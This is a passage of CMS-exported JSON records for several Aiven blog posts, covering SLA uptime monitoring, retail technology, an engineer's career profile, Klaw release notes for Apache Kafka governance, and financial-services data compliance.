Marketplace](https://aws.amazon.com/marketplace/pp/prodview-fx7pxfq5uaxha?sr=0-1\u0026ref_=beagle\u0026applicationId=AWSMPContessa)\n","categories":[{"_key":"4304ecb8afcc","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"3c3cc2d319d9","_ref":"f80824ef-ed32-4267-af89-23f63b62902d","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"Aien achieves the AWS Retail Competency and Hosts AWS Immersion Day","asset":{"_ref":"image-d57d15add0b342d3348f882fa4958587ec745221-1200x628-png","_type":"reference"}},"publishedAt":"2024-10-22T13:45:45.493Z","related":[{"_key":"2c5d43550540","_ref":"c7e3c27e-ae34-4a51-b178-daf0bfaaf452","_type":"reference"},{"_key":"64b6e1efca57","_ref":"b0562f66-3a6f-47a8-85bd-2bebb38ee29a","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Transforming retail: Aiven and AWS empower businesses with real-time data insights for better customer experiences. ","metaImage":{"_type":"mainImage","alt":"Aien achieves the AWS Retail Competency and Hosts AWS Immersion Day","asset":{"_ref":"image-d57d15add0b342d3348f882fa4958587ec745221-1200x628-png","_type":"reference"}},"metaTitle":"Aiven Achieves the AWS Retail Competency"},"slug":{"_type":"slug","current":"/blog/aiven-achieves-the-aws-retail-competency"},"subtitle":"Transforming retail: Aiven and Amazon Web Services (AWS) empower businesses with real-time data insights for better customer experiences. ","title":"Aiven Achieves the AWS Retail Competency \u0026 Hosts AWS Immersion Day"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"7pb0UflNvu9Rdh9g9bDfPn","_rev":"T130WEs22RB6SoEkOBbKrq","_type":"post","_updatedAt":"2024-11-19T08:03:21Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"SELECT 1; isn’t all it’s cracked up to be. As a test of verifying database availability, connecting to it and running one simple query is hardly a realistic workload. This simple operation can succeed while the server’s underlying disk system is having serious issues, or if backups have not been generated on schedule. In short, the database can respond to simple queries just fine but your service could still be down. \n\n[Aiven commits to 99.99% uptime](https://aiven.io/sla \"Link to Aiven SLA\"), but we don’t calculate that figure based on simple availability checks. We believe our customers deserve better guarantees. \n\nWhat Aiven does is use the output from availability checks to trigger automatic recovery actions. If those actions fail to restore normal service, an on-call ops team member is alerted to investigate and resolve the issue.\n\nThis is where our SLA monitoring calculations come in. Whether we are alerted to a problem by our own systems or by our customers, we always investigate every issue as a potential availability breach. If the issue has an unavailability component that is under our responsibility, the customer is remunerated without delay.\n\nBut we don’t just stop there. Regardless of where the problem originates, our systems or elsewhere, we’ll do our best to get it fixed. If the issue is somewhere out of our reach, we help you to fix it or to get it fixed by the relevant party.\n\nOn the prevention side, we automatically detect and heal a large number of issues before they cause services to fail. Many of the issues we monitor are actually outside our SLA, too, such as cloud provider outages. Our job is to make sure that any outage impacts your services as little as possible. And if we detect an issue that is covered by our SLA, we proactively compensate our customers for any downtime.\n\nIf you want to keep a closer eye on the status of Aiven services, you’re welcome to subscribe to our [Aiven Status](https://status.aiven.io/ \"Link to the Aiven Status page\") page. There you can find the current and historical system performance information, whether or not it affects your own services. And if you get an e-mail from us about an availability issue, don’t be alarmed. We probably just found something that has affected your service and want to let you know--and give you some service credits!\n\nAnd remember, Aiven’s highly rated customer service is always happy to help you troubleshoot issues and outages related to our services. We can walk you through possible solutions and even help you prevent future problems.\n\nSo far our customers have found this approach valuable, judging from reviews like this on [G2](https://www.g2.com/products/807688ad-af7c-48e2-8322-af005b8df7a1/snippets/consume?utf8=%E2%9C%93 \"Link to G2 page\"):\n\n\u003e \"If you need a professional support \\[team\\], Aiven is ahead of others.\" (Director of Engineering)\n\n\u003e \"What I like about Aiven is their support. They are answering really quickly and they help even if the problem is not Aiven related, I learned a lot of things from them (like pgbouncer) and I’m looking forward to working with them even more.\" (Devops Specialist)\n\n\u003e \"The technical reliability with Aiven is fantastic. In the rare case that something does go wrong, one can count on Aiven putting their best foot forward in support situations.\" (Chief Software Architect)\n## Wrapping up\nRest assured: If anything goes wrong, we may well be the first to tell you about it so we can fix it with you. And if we can fix it at our end, we’ll simply go ahead and do it. Aiven has your back!\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-d61b512fa04c3af4effbaac24a0139bda9eede7b-1567x844-jpg","_type":"reference"}},"publishedAt":"2021-01-20T00:00:00.000Z","seo":{"metaDescription":"At Aiven, we commit to 99.99% uptime. Discover our effective approach to maintaining high availability and responding to issues quickly.","metaImage":{"alt":"","asset":{"_ref":"image-d61b512fa04c3af4effbaac24a0139bda9eede7b-1567x844-jpg","_type":"reference"}},"metaTitle":"How Aiven monitors your system performance"},"slug":{"_type":"slug","current":"/blog/how-aiven-monitors-your-system-performance"},"subtitle":"Aiven commits to 99.99% uptime. Every now and then we are asked how we make sure that your system actually stays up accordingly. Find out how we keep an eye on service uptime and how we react to issues.","title":"How Aiven monitors your system performance"}
{"__i18n_lang":"en","_createdAt":"2024-08-14T06:44:33Z","_id":"b0562f66-3a6f-47a8-85bd-2bebb38ee29a","_rev":"sEwq5NBiPauorOxrhiSFv0","_type":"post","_updatedAt":"2024-11-19T08:21:27Z","authors":[{"_key":"340a5f3b4d03","_ref":"1a7c9202-de47-455f-b5ab-544e3ddb5cf2","_type":"reference"}],"body":"Steve Jobs, who famously encouraged us to \"think differently,\" emphasized the importance of customer experience by saying, “You’ve got to start with the customer experience and work back toward the technology – not the other way around.”\n\nSuccessful brick-and-mortar retailers responding to the so-called “retail apocalypse” have followed this principle. Instead of investing in technology without a strategy, these smart retailers have focused on enhancing the in-store experience. They aim to make shopping more convenient and enjoyable, ensuring a customer-friendly environment.\n\n## The phygital world of retail \nBlending the in-store and digital experience is a concept known as ‘phygital,’ and it’s something that we as digitally-native consumers now expect. Retailers must seamlessly marry the on and offline experience to be successful. According to [Covo](https://ecommercenews.uk/story/uk-consumers-expect-online-retail-to-match-in-store-cx), 91% of consumers expect their online experience to meet or surpass that of in-store shopping. \n\nUntil recently, many of the innovations we are familiar with were not possible or delivered in a clumsy manner, such as user-unfriendly applications like chatbots. But the advent of Generative AI is changing everything. It is enhancing not just how customers interact with products, but also enabling retailers to streamline their operations.\n\n## Demonstrating the art of the possible\nEquipping brick-and-mortar stores with technology has been a trend bubbling under the surface for some time. The [Amazon 'Scan and Go'](https://www.amazon.com/b?ie=UTF8\u0026node=16008589011) mobile payment systems were one of the first incarnations — if for no other reason than to demonstrate the art of the possible. Today, there are many examples of brands that have followed suit. Cosmetics manufacturer, [Lush](https://www.marketingweek.com/lush-ultimate-customer-experience/), uses an app as the primary source of product information through scannable codes. [H\u0026M](https://www.kioskmarketplace.com/articles/hm-enhances-customer-engagement-with-digital-signage-2/) has digital vending machines to help shoppers find their beauty and fragrance preferences, and walk-in consumers can get a free virtual workout at  the GymShark Oxford St. store in London.\n\nThe emergence of AI and other technologies supporting the real-time exchange of information has also enabled the online aspect of retail to improve alongside the physical. For instance, Walgreens uses data from the number of antiviral prescriptions to track the spread of the flu. The online, interactive map not only helps customers understand how bad the flu is in their area, but also helps [Walgreens](https://www.walgreensbootsalliance.com/walgreens-flu-index) stock more inventory of flu-related products in highly infected regions. \n\nBeyond improving the customer experience, retailers are also using AI to significantly boost their operational efficiency. By analyzing customer buying behaviors and other data points, AI helps retailers make precise decisions about purchasing stock and staffing levels. For example, AI systems analyze trends, including historical sales data and external factors like weather, to accurately forecast product demand. What’s more, AI's capability to dynamically adjust pricing based on demand forecasts and competitive analysis enables retailers to maximize the bottom line. \n\n## Retail’s transition from the old world to the new\nToday’s retailers need to provide an outstanding customer experience both in-store and online to remain competitive. Retailers require technology that can handle fluctuating demand throughout the year without compromising scalability, flexibility, or performance.\n\nAdditionally, retailers need to modernize their data infrastructure by moving from monolithic applications towards nimble microservices where data is captured, processed and used as needed. A service-oriented architecture is fundamental because it lets retailers know which components they need to scale, how much, and when. The outcome is more efficient performance and a better customer experience.\n\nRetailers need a data platform that enables them to fulfill these requirements. Our [AI and data platform](https://aiven.io/solutions/aiven-for-retail) is designed to provide a versatile, reliable, and cost-effective way to build the data services that make a tangible difference to the customer experience. Here at Aiven, we’re already working with some of the biggest names in retail, helping them scale their business with open source data infrastructure to positively impact revenue and the customer experience. \n\n## Transforming the traditional shopping experience\nThe fusion of physical stores with high-tech, online capabilities is transforming the traditional shopping experience into something much more dynamic and customer friendly. This trend is only going to continue, and retailers must take steps to ensure their architecture and data practices are built effectively to keep up. \n\nWhether it’s through better infrastructure performance,  improved search and discoverability, or faster insight into operational data, how retailers blend the on and offline elements of their stores will be a defining element of their competitiveness in the coming years.\n","categories":[{"_key":"e5149378cc67","_ref":"4b855c21-3b95-4460-928d-6ddccb375b43","_type":"reference"},{"_key":"0a3639c4fa45","_ref":"f80824ef-ed32-4267-af89-23f63b62902d","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-fba4c17c58d69d2c65a8fec1c5c69c7f5eda2434-1200x628-png","_type":"reference"}},"publishedAt":"2024-08-28T09:02:00.000Z","seo":{"_type":"metaData","metaDescription":"Discover how smart retailers are blending the latest technology with their traditional brick-and-mortar stores, delivering outstanding customer experiences.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-fba4c17c58d69d2c65a8fec1c5c69c7f5eda2434-1200x628-png","_type":"reference"}},"metaTitle":"The digitalized brick-and-mortar retail renaissance"},"slug":{"_type":"slug","current":"/blog/the-digitalization-of-bricks-and-mortar"},"subtitle":"This blog examines how smart retailers are blending the latest technology with their traditional brick-and-mortar stores to deliver outstanding customer experiences.","title":"The digitalized brick-and-mortar retail renaissance"}
{"__i18n_lang":"en","_createdAt":"2023-08-01T10:53:27Z","_id":"8536b244-4202-4318-889b-c58e8ade28f9","_rev":"YN8truRCqnchJPC7UzUvJn","_type":"post","_updatedAt":"2024-11-25T14:00:05Z","authors":[{"_key":"8cfb3dbcc53d","_ref":"fa265a2a-831a-4862-a7d7-42065a008cc6","_type":"reference"}],"body":"Like any true Crab, Olena has had a lifelong penchant for sideways exploration. From her home country of Ukraine, she has spent time everywhere from Toronto (one of her favorite cities) to Germany, and also worked for a couple of years in Russia. But Finland is where she now calls home – and she’s certainly come a long way professionally as well.\n\n## Born to succeed\n\nOlena says her original mission in life was to annoy her big brother – just like any younger sibling. But they’ve become very close over the years and she’s spent a lot of time in Germany, where he lives.\n\nFamily has always been important to her, and Olena’s were very supportive of her becoming a software engineer. After early experience in Ukraine and then Moscow, she made the move to Zalando SE, the German online fashion retailer. A big influence there was Antti Pennanen, who helped her develop both hard and soft skills, such as encouraging her to participate in the hiring process of new candidates – you can learn a lot from candidates with different backgrounds.\n\nAt the start of 2020, she decided that she would like to work at Aiven. She heard that there was a plan to launch an Apache Flink® service and this is what she was eager to do. But her timing wasn’t quite right. The COVID pandemic had just started, and she was also told that she needed to improve her Linux and systems knowledge. \n\nHowever, no would-be Crab lets something like that scuttle their hopes. With the help of [Cloud Guru](https://www.pluralsight.com/cloud-guru) and [Udemy](https://www.udemy.com/), Olena duly learned all she could about Linux and cloud systems. Six months after her first interview, she reapplied and got the job, joining our Engineering team as a mid-level Software Engineer. \n\nOlena says “That is why I tell people not to be afraid to re-apply even if the first shot was not that successful”.\n\n## Making a bigger splash as Staff Engineer\n\nOlena found the team on her side from the start, with particular support from [Ivan Yurchenko](https://www.linkedin.com/in/ivanyurchenko/) and [Andrey Pleskach](https://www.linkedin.com/in/andrey-pleskach-13126212/).\n\nHer previous experience with Apache Kafka® and Flink at Zalando also proved invaluable. And her stubbornness (or persistence if you like) has helped her to fix many complex bugs and a wide variety of problems. Part of her success can be attributed to this time spent answering customer issues and fixing incidents, it helped her understand Aiven’s customers and their problems in more detail. \n\nJust recently she was promoted to Staff Engineer, which means she can now make an even greater impact with both staff and customers. Her team is called “Helpful Husky”, a name randomly generated. (As she points out, it could have been weirder – imagine if it was “Rebel Raccoon” or even “Fecund Ferret”.) But the name does reflect the team’s mission to build better data streaming services – and huskies are famous for their ability to work as a team. \n\n## Life in the Aiven ocean\n\nIn a crab shell, Aiven is about Courage, Code and Community as far as Olena is concerned. And thinking sideways, of course. For her, that means always being flexible and open to new ideas and people with other ways of doing things. Aiven is a fertile environment for all kinds of innovation and new ideas.\n\nRemote work and asynchronous communication encourages that, enabling people from different countries and backgrounds, and with varying points of view, not just to collaborate, but to innovate. \n\nPeople often think that engineers just write code all day, but a huge part of Olena’s daily work involves meetings, Slack, Google Docs, and so on. With any big project, the initial what, how and why is what really counts – the actual writing of code is the most straightforward part.\n\nBut the most interesting part of the day, according to Olena, is “running small but meaningful experiments”. That includes testing ideas on how to fix a challenging customer problem, writing some proof of concept (POC) for new features, estimating the performance of new frameworks, verifying if new approaches or patterns could work for the team, and so on. Fortunately, the sheer scale of Aiven means that it’s much easier to identify the best features and fixes, and thus to focus on what really matters for companies and end users. \n\nIn other companies, software engineers find it frustrating that products or services that they’ve put so much into end up being barely used or quickly superseded. But here, almost everything our teams develop is extremely important for customers.\n\nAnother thing that Olena really appreciates at Aiven is the ability to contribute to open source. She and many of her team also aid the wider community by writing blogs and spreading knowledge about technology in general.\n\n## Olena’s advice for a career in engineering\n\nEveryone is different, with their own passions and dreams. So even after ten years in tech, Olena is wary of offering one-size-fits-all guidance. But she does have some suggestions that are likely to be invaluable whoever you are. \n\nShe recommends participating in meetups as a great way of learning and expanding your network, whether these get-togethers are women-oriented or more general. Even more important is to find yourself the right mentor. Not just for learning new skills, but to help you see your own shortcomings and mistakes, which can be hard to recognise yourself. That’s the key to professional growth.\n\nAs an organization, Aiven has a part to play too. Olena hopes to see more mentorship and training programs supported by the company, turning today’s junior female engineers into tomorrow’s leaders. \n\nOur thanks go to Olena for sharing her story!\n\nInterested in joining the Cast? Check out our [open positions](https://aiven.io/careers). And keep your eyes peeled (sideways) on the blog as we continue to meet more of our clawsome Cast of Crabs. \n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\u003c!--\n\n::banner[You found it!]{ctaText=\"Get started for free\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n--\u003e","categories":[{"_key":"e0c643eb6a3b","_ref":"8fa4c846-517b-4a03-87e3-aa28ad26cce6","_type":"reference"},{"_key":"5abdd50b443e","_ref":"44deb165-f752-4b24-903a-c488e0b6012c","_type":"reference"},{"_key":"f048a92bd817","_ref":"f71aca49-b430-43f6-a9a2-17863e4c6a16","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"Olena Babenko, Staff Engineer, Aiven, Aiven logo, Women in Tech, DEI, Diversity Equity, Inclusion","asset":{"_ref":"image-3f26eab92779a096e04bcb2328d9f95009e751e3-2065x1112-png","_type":"reference"}},"publishedAt":"2023-08-03T08:42:16.478Z","related":[{"_key":"6f7141c38233","_ref":"cc563d6c-d018-4a2f-9d79-1b42f3117863","_type":"reference"},{"_key":"2e8c2f4c4da1","_ref":"0219c323-fc21-4dc8-8fbb-56ee84960dce","_type":"reference"},{"_key":"1398f773b98a","_ref":"712d0099-600c-4354-a2d6-80340a2fa031","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Meet Olena Babenko, Aiven Staff Engineer, as she shares her career journey, experiences, and advice for aspiring tech professionals. Find out more!","metaImage":{"_type":"mainImage","alt":"Olena Babenko, Staff Engineer, Aiven, Aiven logo, Women in Tech, DEI, Diversity Equity, Inclusion","asset":{"_ref":"image-3f26eab92779a096e04bcb2328d9f95009e751e3-2065x1112-png","_type":"reference"}},"metaTitle":"Meet Olena Babenko, Staff Engineer and Tech Expert "},"slug":{"_type":"slug","current":"/blog/meet-the-cast-olena-babenko"},"subtitle":"We chatted with Olena Babenko, our newly promoted Staff Engineer. We learnt about her sideways journey to Aiven, what life is like here, and her advice for others looking to make a career in tech.","title":"Meet the Cast: Olena Babenko, Staff Engineer and Tech Expert "}
{"__i18n_lang":"en","_createdAt":"2022-10-10T10:26:30Z","_id":"de15d64a-ab02-4a06-bd4d-e37a5095883b","_rev":"sEwq5NBiPauorOxrhiQkvG","_type":"post","_updatedAt":"2024-11-19T08:10:07Z","authors":[{"_key":"aeb7287b8b48","_ref":"3CMp6swW2L6wlHhqp57gWe","_type":"reference"}],"body":"It hasn’t been long since the initial release of Klaw on 29 September 2022, but even in this short time we’ve worked to enhance the Apache Kafka data governance experience. \n\nIn the initial release, we aimed at keeping the technology consistent and resilient across the new environment instead of risking breaking things. Our conservative approach paid off as nothing, in fact, broke, and we achieved our priority objectives: name change and integration with different versions of Apache Kafka. \n\nThe next item on the agenda was to make sure that your data remains safe. That’s why the next release was all about security. We want to ensure that Apache Kafka governance is safe and authenticated everywhere. At Aiven, we’re proud to say your data is safe at rest and in motion, and we wanted to apply this high standard to Klaw as well.\n## Major new features\n\nKlaw now includes SASL authentication protocols SCRAM-SHA-256 and SCRAM-SHA-512 for connecting securely to Apache Kafka clusters. \n\nYou can now use JWT-based authentication to connect to the Klaw Cluster API. This authentication between APIs makes the connection more secure.\n\nYou can now configure Klaw to connect to multiple clusters with different SSL certificates. This way, you can govern larger Apache Kafka systems (with Apache Kafka, Schema Registry/Karapace, Kafka Connect, etc.) with just one instance of Klaw. This hugely simplifies your Kafka governance, removing the need for multiple Klaw instances per component and ensuring a smoother developer and DevOps experience. \n\nThe Browse topics screen has a completely new look and feel after we switched to React for UI. This gives a much more user-friendly and intuitive interface for managing your Kafka topics. \n\nAzure AD based Authentication and Authorization: Your organization can now leverage an existing Azure AD infrastructure to manage access to Klaw. You can also retrieve role and team information from Azure AD tokens.\nAdvanced topic configuration on Topic requests, allowing you to configure different topic options like compacted topic, apply retention, compression, and so on in the same request.\nYou can now create service accounts using new Aiven ACL requests (Aiven specific change)\n\n## Other improvements\n### Major improvements\n\n- Improved documentation (in progress) and releases mentioned at https://klaw-project.io\n- Github CI actions, Code of conduct, code styling and formatting plugins, security policy, contributing guidelines, templates on PRs and Issues, packaging and installation instructions\n- Support for Apache Kafka flavors like Aiven for Apache Kafka is introduced\n- Updated unit tests and integration tests on several service classes\n- Code refactoring to make the code more robust and readable\n- Better exception handling and enhancements\n\n### Minor improvements\n\n- The ClusterApi git project has been moved into Klaw core project as a module \n- Vulnerabilities related to Actuator, Cluster Api authentication, etc are addressed\n- Springboot and Apache Kafka upgrade\n- Introduced Custom validator on topic requests allowing the validation logic to be isolated and easily managed\n- Introduced Makefile for easy build and deploy\n- Deep linking of URLs in Klaw web\n- Alerts on code scanning, secret scanning, Dependabot and security advisories\n- Spring security upgrade, removed the deprecation of WebSecurityConfigurerAdapter\n- Support for docker\n\n\n## What to expect in the next three months\n\nWe are only getting started with Klaw and we are excited about future additions to the framework! Over the next few months, our development efforts will evolve around upgrading the framework, adding to Klaw’s React UI, and introducing a lot of new features.  \n\nHere’s a more detailed list for your convenience:  \n\nFramework\n\n- Spring boot upgrade to 3.x\n- Upgrade to JDK 17 \n\nFeatures\n\n- Schema Promotion from one environment to another\n- Support for PEM format for Kafka cluster SSL connectivity\n- Introduce RegEx patterns on topic names in topic requests\n- Introduce a new request type: Reset consumer offsets\n- React UI\n- Topic Requests\n- Subscription Requests (Producer/Consumer)\n- Schema Requests  \n- Connect Requests\n\n## Our thanks\nThe two minor releases wouldn’t have been possible without the help of our contributors. We’d like to thank each and every one of them:\n\n- [Mirjam Aulbach](https://www.linkedin.com/in/mirjam-aulbach/)\n- [Mathieu Anderson](https://www.linkedin.com/in/mathieuanderson/)\n- [Samuli Suortti](https://www.linkedin.com/in/samulisuortti/)\n- [Murali Basani](https://www.linkedin.com/in/muralibasani/)\n- Aindriu Lavelle\n- [Sergey Nuyanzin](https://www.linkedin.com/in/sergey-nuyanzin-60aa6356/)\n- [Josep Prat](http://linkedin.com/in/jlprat/)\n- [Ahmed Sobeh](https://www.linkedin.com/in/ahmedsobeh)\n- [Dave Beech](https://www.linkedin.com/in/davebeech/)\n- Stefan Arentz\n- Sebastian Kaiser\n- [Harshini Rangaswamy](https://www.linkedin.com/in/harshini-rangaswamy/)\n\n## Wrapping up\nKlaw has come a long way in the months since its acquisition by Aiven, and we’ve already enhanced it with significant improvements. Keep an eye out for the next release!\n\nIn the meantime, here are some resources to browse:\n\n- [The Klaw project page](https://www.klaw-project.io/)\n- [Klaw documentation](https://www.klaw-project.io/docs)\n- [Klaw on GitHub](https://github.com/aiven/klaw) \n\n\u003c!-- copypasta:\n\n®\n™\n– en-dash\n— em-dash\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\ntext links: [body / link text](target URL)\n\nCode snippets: `written like this`\n\n\u003e **Note:** If you want to write a highlighted note thingy, it's like this.\n\n[Back to top](/blog/slug-line/#toc)\n\n\n## First part\n\n## Second part\n\n## Wrapping up\n\n\n--\u003e\n\n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\u003c!--\n\n::banner[You found it!]{ctaText=\"Sign up for a free trial now\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n--\u003e","categories":[{"_key":"86970004fc14","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"4cc791a33a6d","_ref":"0cdf6922-1dca-475f-b8ec-584368c1ddb0","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-9074e07d23f930b160ef9be7ded118fa58102f70-2500x1308-png","_type":"reference"}},"publishedAt":"2023-01-23T14:16:58.488Z","related":[{"_key":"5e723314101a","_ref":"4JR1zZoQLeuUT8AxByqegc","_type":"reference"},{"_key":"b461513721cd","_ref":"40ba181c-997d-4d9e-9efe-1f31b99e0e42","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Klaw’s recent updates have introduced new interesting features and streamlined workflows. Learn about its rapid growth and visit the Aiven blog! "},"slug":{"_type":"slug","current":"/blog/klaw-in-2022-simplifying-apache-kafka-data-governance"},"subtitle":"Since its initial release in the fall of 2022, Klaw’s two minor releases have brought new features and simplified its workflows. Find out how much Klaw grew and improved in just two short months. ","title":"Klaw in 2022: simplifying Apache Kafka data governance"}
{"__i18n_lang":"en","_createdAt":"2024-05-20T04:38:42Z","_id":"ea45396f-c903-489e-97be-3cd4dc25e6fe","_rev":"sEwq5NBiPauorOxrhieFjL","_type":"post","_updatedAt":"2024-11-19T09:37:12Z","authors":[{"_key":"f8202a0f9c67","_ref":"167bca61-78ce-412f-a44e-1495de770f99","_type":"reference"}],"body":"As regional data regulations tighten and data management becomes more complex, keeping ahead of changing compliance requirements has never been more mission critical for financial services institutions (FSIs). With just over twelve months to go before the new policies come into effect,  organisations must act now in order to review and close any compliance gaps or face the consequences.  In our recent blog [‘The Top Two Misconceptions as FSI Compliance Requirements Tighten’](https://aiven.io/blog/the-top-two-misconceptions-as-fsi-compliance-requirements-tighten) we explored the impact and common misconceptions around changing compliance laws. Now we’re digging deeper into data, and what data management and use means for FSIs in coming years.\n\n\n## The changing demands on FSIs\n\n[As we touched on in our previous blog](https://aiven.io/blog/the-top-two-misconceptions-as-fsi-compliance-requirements-tighten), FSI organisations are increasingly looking at how they can adequately protect themselves against single-supplier failure, the results of which can shut down a business \u0026 put consumers at risk of significant losses. This means making sure you have more than one copy of your data housed in different locations along with the ability to easily move in and out of supplier arrangements. \n\n**Changing laws and regulations are requiring FSIs to increase their resilience and protect their operations and customers against misadventure or attack.** Data is a huge focus for new and evolving regulations, and for good reason. Data management and future-forward vendor agreements can spell the difference between success or failure - against both heightened customer demands and tightening compliance requirements.\n\n\n## Changing regulatory environments\n\n**New country or region-specific prudential standards are already regulating how FSIs handle their data** and these are only set to tighten further. For instance, data localisation laws and policies are becoming more prolific as governments aim to increase protections for citizens’ data by bringing decision making and access rights within jurisdictional boundaries. While this can increase security and individual protection, **it can also inhibit data flow leading to disruption of innovation** and productivity and make adherence to policies very difficult.\n\nAs an example, **in Japan**, in April 2022, the **Amended Act on the Protection of Personal Information** came into force. This regulation centres on requirements for cross-border data transfers, requiring a data exporter to provide data principals with certain information about the transfer, including the destination country and the safeguards in place at the data importer.\n \n**Within Australia**, [**CPS 230**](https://www.apra.gov.au/operational-risk-management), scheduled to take effect from 1 July 2025, will apply to all Australian Prudential Regulation Authority (APRA) regulated entities in financial organisations, where new requirements for risk management will be introduced. \n\nSimilarly, **New Zealand passed its Privacy Act in 2020**. This Act is regulated by The Office of the Privacy Commissioner (OPC) and introduced a new requirement on international data transfers. Essentially, the party transferring personal data across borders must ensure the recipient adheres to privacy laws with comparable safeguards, or the recipient is required to adequately protect the information. If these terms aren’t upheld, the party must disclose this information to the owner of the personal data.\n\n**Singapore has also passed its Personal Data Protection (Amendment) Act 2020**, which restricts transfer of personal data outside of Singapore, unless appropriate safeguards to protect personal data are in place.\n\nThese changes, which are mirrored across many markets, have a similar focus: to **ensure organisations are protecting against risk events, ensuring resiliency, and protecting all relevant entities and groups**. This includes managing risks arising from service providers, which is where the all-important vendor relationship is shown up. \n\n\n## The impact of changing consumer demands on data management\n\nThese regulations coincide with changing consumer demands and expectations. From a consumer perspective, there is much greater awareness and demand around both mobility of service and security of data. **High profile data breaches have made security top of mind**, and **the risk of data loss from a single supplier** was cast into the spotlight with a weeklong outage for an Australian superannuation fund following the loss of their cloud account. \n\nQuite rightly, **consumers demand that their data is private and secure** – a basic expectation that unfortunately is not always upheld. An absolute baseline for adhering to this is ensuring systems are up-to-date and well-maintained. In addition, consumers want always-on access and ease-of use.\n\nAgain, this is also not always the case. A global payments platform recently ran a maintenance update which knocked out global transactions for a day. The update was pushed out in the middle of the night in the United States where the company’s headquarters is, which would have seemed reasonable for the customers in this region. However, the move adversely impacted global customers. This kind of example begs the question, **how can global companies now maintain the efficacy of systems and processes**, not to mention adhere to new regulations and regional laws, **while still ensuring consumers have an optimal experience?**\n\n\n\n## Technology partners lead to success or struggle for FSIs\n\nThe right technology partners can help FSIs prepare for risk events, maintain data flow, and adhere to new compliance laws and regulations.\n\nIt is important to look for partners that offer **flexibility to FSIs in terms of data storage, but also adhere to operational compliance in line with** local, regional, and global market **regulations.** In this way, the customer retains peace of mind about where FSIs store their data. Another consideration, especially for FSIs operating across geographies, is selecting **a partner that can deliver continual engineering support for multiple cloud environments and a ‘follow the sun’ approach to customer service.**\n\nAn open source, multi-cloud data platform also addresses other challenges of our modern, data-heavy world with smart solutions that directly alleviate pain points. This includes cross-cloud deployments as mentioned above, as well as cross-region and cross-cloud migration and replication. There are many benefits of open source, cross-cloud deployments, including the ability to:\n\n* Run FSI services on **any major public cloud platform** chosen by the business.\n* **Leverage cross-cluster migration and replication to distribute data** and workloads to minimize geo latency, reduce costs, meet various regulatory requirements, and to provide greater resiliency through cross-region and cross-cloud disaster recovery.\n* **Eliminate vendor technology lock-in** by leveraging widely-adopted technologies to better manage both risk and costs.\n* **Reduce the impact of vendor-specific skills shortages** and resourcing risks by leveraging the same open source technologies across your multi-cloud environment.\n\nThe ability to deploy popular technologies once, like Apache Kafka, PostgreSQL, MySQL, and others, and use them in one or multiple clouds offers tremendous flexibility to FSIs. Also, FSIs **no longer need to hire and maintain vendor-specific skill sets**, nor manage the complexities of their mult-cloud implementations. \n\nWhen it comes to open source, in 2023, **Apache Kafka led the global big data processing industry** as the top technology with a [market share of 16.88%](https://www.statista.com/statistics/1258671/big-data-processing-software-market-share-technology-worldwide/). In addition, as of November 2023, the **most popular open source database management system** (DBMS) [in the world was MySQL](https://www.statista.com/statistics/1131602/worldwide-popularity-ranking-database-management-systems-open-source), followed by PostgreSQL. These technologies can become all the more attainable when teaming up with a partner that is specialised in them.\n\n## Our customers: real-life examples of the power of robust data infrastructure in action\n\n[Netfonds](https://aiven.io/case-studies/netfonds-focuses-on-innovation-and-customer-service), the German technology company, came to Aiven to support the growth of finfire, the company’s independent software platform for financial advisors, fund managers, and insurance brokers. Through a strong partnership, Aiven now plays an ongoing role in the delivery of finfire. Aiven for Apache Kafka ensures that real-time data moving through finfire is updated in each of the 60 Kafka topics and 60 different microservices in operation. This removes pressure from the internal team so they can drive greater business value and helps Netfonds to remain compliant according to data.\n\n\u003e We needed a compliant vendor within the Google universe. Our compliance team really liked that, with Aiven, we continue to be flexible and agile, and have the ability to change cloud provider quickly if necessary. It’s also important that we can connect our Google resources — like our BigQuery data warehouse — to the Aiven platform, and they are able to communicate without boundaries. Aiven’s pre-built integrations bring real value to our team. \n**Nis Christian Carstensen, CTO at Netfonds**\n\nAiven also works with [Revenir](https://aiven.io/blog/brian-wagner-revenir-a-collaborative-cto), a London-based fintech that automates tax recovery through partnerships with banks, governments, and digital receipt companies. As a company in the financial sector, it was 